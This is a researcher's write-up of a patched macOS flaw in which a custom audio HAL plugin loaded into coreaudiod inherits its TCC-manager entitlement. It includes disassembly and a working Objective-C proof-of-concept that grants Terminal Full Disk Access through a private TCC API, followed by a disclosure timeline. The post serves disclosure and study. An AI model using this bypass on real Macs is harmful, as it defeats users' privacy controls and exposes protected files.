Introduction
This vulnerability has been disclosed during my & Csaba’s talk “20+ ways to bypass macOS your privacy mechanisms” during Black Hat USA. It was a part of my COVID-19 lockdown research. 😉 In the end this vulnerability led to full TCC bypass as I was able to fully control the TCC database.
How I found this vulnerability
After the XPC research, I had an idea to verify if it will be possible to use the same tricks but on the macOS processes. One of these tricks was to inject into processes and thus inherit their entitlements. As it’s not possible (usually) to use DYLD_INSERT_LIBRARIES
on Apple’s signed binaries I targeted executables that had the com.apple.security.cs.disable-library-validation
entitlement. So, I wrote a simple bash script and after some time I had the first result that was /usr/sbin/coreaudiod
.
It had the following entitlements:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.private.airplay.mangrove.client</key>
<true/>
<key>com.apple.private.audio.driver-host</key>
<true/>
<key>com.apple.private.kernel.audio_latency</key>
<true/>
<key>com.apple.private.kernel.work-interval</key>
<true/>
<key>com.apple.private.tcc.manager</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.tailspin.config-apply</key>
<true/>
<key>com.apple.tailspin.dump-output</key>
<true/>
</dict>
</plist>
The com.apple.private.tcc.manager
entitlements interested me the most so I started digging…
Exploitation
At first, I had to identify why the coreaudiod
actually disables library validation. Let’s open the Hopper and reverse that daemon. As it probably loads something, not Apple’s signed, the coreaudiod
will probably have a hardcoded path. It turned I was right, and I quickly found a function that loads a bundle:
int sub_1000f95dd(int arg0) {
stack[-8] = rbp;
stack[-16] = r15;
stack[-24] = r14;
stack[-32] = r13;
stack[-40] = r12;
stack[-48] = rbx;
rsp = rsp - 0xe8;
rax = CFStringCreateWithCString(0x0, "/Library/Audio/Plug-Ins/HAL", 0x600);
var_E0 = rax;
rsi = rax;
rax = CFURLCreateWithFileSystemPath(0x0, rsi, 0x0, 0x1);
var_D0 = rax;
if (rax == 0x0) goto loc_1000f9c49;
OK, but what do Apple’s docs say about the "/Library/Audio/Plug-Ins/HAL"
?
So, I can code my plugin that will be probably loaded into the context of the coreaduidod
and inherit the com.apple.private.tcc.manager
entitlement? Yeah, that assumption was correct. I coded quickly an empty HAL plugin, copied it to the "/Library/Audio/Plug-Ins/HAL"
and killed the audio daemon.
Now, let’s weaponize the plugin. For a Proof of Concept, I wanted to give the Terminal.app
the Full Disk Access permission. I could have coded an exploit that would manually open sqlite3 to edit the TCC’s database but it’s much easier to use Apple’s private APIs. In the plugin’s XCode project I linked the private TCC.framework
and externed the following function:
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
In the first parameter I had to pass the Full Disk Access permission, then bundle ID of the Terminal app, next was the code requirement and the boolean saying that the permission is granted. In the end, the content of the exploit looked as follows:
#import <Foundation/Foundation.h>
#import <Security/Security.h>
extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);
void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");
CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);
TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}
__attribute__((constructor)) static void constructor(int argc, const char **argv) {
add_tcc_entry();
NSLog(@"[+] Exploitation finished...");
exit(0);
Proof of concept
Timeline
Date | Action |
---|---|
5th June 2020 | Report sent to Apple |
9th June 2020 | Apple validated the report |
20th July 2020 | I asked for status update |
24th July 2020 | Apple responds that they are still investigating |
22nd August 2020 | I asked for status update |
4th September 2020 | Apple responds they need more time to fix the issue as the patch requires vast changes |
18th September 2020 | I asked when Apple estimates the fix will be introduced |
18th September 2020 | Apple responds that the plan is to fix it in a minor Big Sur release in 2020 |
17th October 2020 | Apple adjudicates this issue as eligible for the Apple Security Bounty! Wow, bounty before the fix! 🎉 |
14th December 2020 | Apple fixes this vulnerability in the macOS Big Sur 11.1 |